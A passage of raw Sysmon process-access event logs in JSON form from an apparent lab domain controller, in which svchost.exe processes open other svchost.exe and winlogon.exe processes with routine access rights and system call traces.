C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+10038|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+10038|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2392,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.187\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 1900\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x147A\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\themeservice.dll+3de3|c:\\windows\\system32\\themeservice.dll+26c0|c:\\windows\\system32\\themeservice.dll+1ed0|c:\\windows\\system32\\themeservice.dll+2006|C:\\Windows\\SYSTEM32\\ntdll.dll+45079|C:\\Windows\\SYSTEM32\\ntdll.dll+29bfa|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.187","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"1900","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x147a","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\themeservice.dll+3de3|c:\\windows\\system32\\themeservice.dll+26c0|c:\\windows\\system32\\themeservice.dll+1ed0|c:\\windows\\system32\\themeservice.dll+2006|C:\\Windows\\SYSTEM32\\ntdll.dll+45079|C:\\Windows\\SYSTEM32\\ntdll.dll+29bfa|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2393,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.187\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 1632\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|c:\\windows\\system32\\themeservice.dll+144a|c:\\windows\\system32\\themeservice.dll+4175|c:\\windows\\system32\\themeservice.dll+3379|c:\\windows\\system32\\themeservice.dll+31a3|C:\\Windows\\system32\\svchost.exe+1380|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.187","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"1632","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|c:\\windows\\system32\\themeservice.dll+144a|c:\\windows\\system32\\themeservice.dll+4175|c:\\windows\\system32\\themeservice.dll+3379|c:\\windows\\system32\\themeservice.dll+31a3|C:\\Windows\\system32\\svchost.exe+1380|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2394,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.187\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 1900\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|c:\\windows\\system32\\themeservice.dll+4689|c:\\windows\\system32\\themeservice.dll+3fdd|c:\\windows\\system32\\themeservice.dll+3c53|c:\\windows\\system32\\themeservice.dll+2675|c:\\windows\\system32\\themeservice.dll+1ed0|c:\\windows\\system32\\themeservice.dll+2006|C:\\Windows\\SYSTEM32\\ntdll.dll+45079|C:\\Windows\\SYSTEM32\\ntdll.dll+29bfa|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.187","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"1900","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|c:\\windows\\system32\\themeservice.dll+4689|c:\\windows\\system32\\themeservice.dll+3fdd|c:\\windows\\system32\\themeservice.dll+3c53|c:\\windows\\system32\\themeservice.dll+2675|c:\\windows\\system32\\themeservice.dll+1ed0|c:\\windows\\system32\\themeservice.dll+2006|C:\\Windows\\SYSTEM32\\ntdll.dll+45079|C:\\Windows\\SYSTEM32\\ntdll.dll+29bfa|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2395,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041B90000}\r\nTargetProcessId: 1140\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x40\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\lsm.dll+b81f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041B90000}","TargetProcessId":"1140","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x40","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\lsm.dll+b81f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2396,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 2716\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"2716","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2397,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 2716\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"2716","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2398,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00104DCB0000}\r\nTargetProcessId: 1308\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+827d|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00104DCB0000}","TargetProcessId":"1308","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+827d|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2399,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00108D130100}\r\nTargetProcessId: 1924\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+6d83|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00108D130100}","TargetProcessId":"1924","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+6d83|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 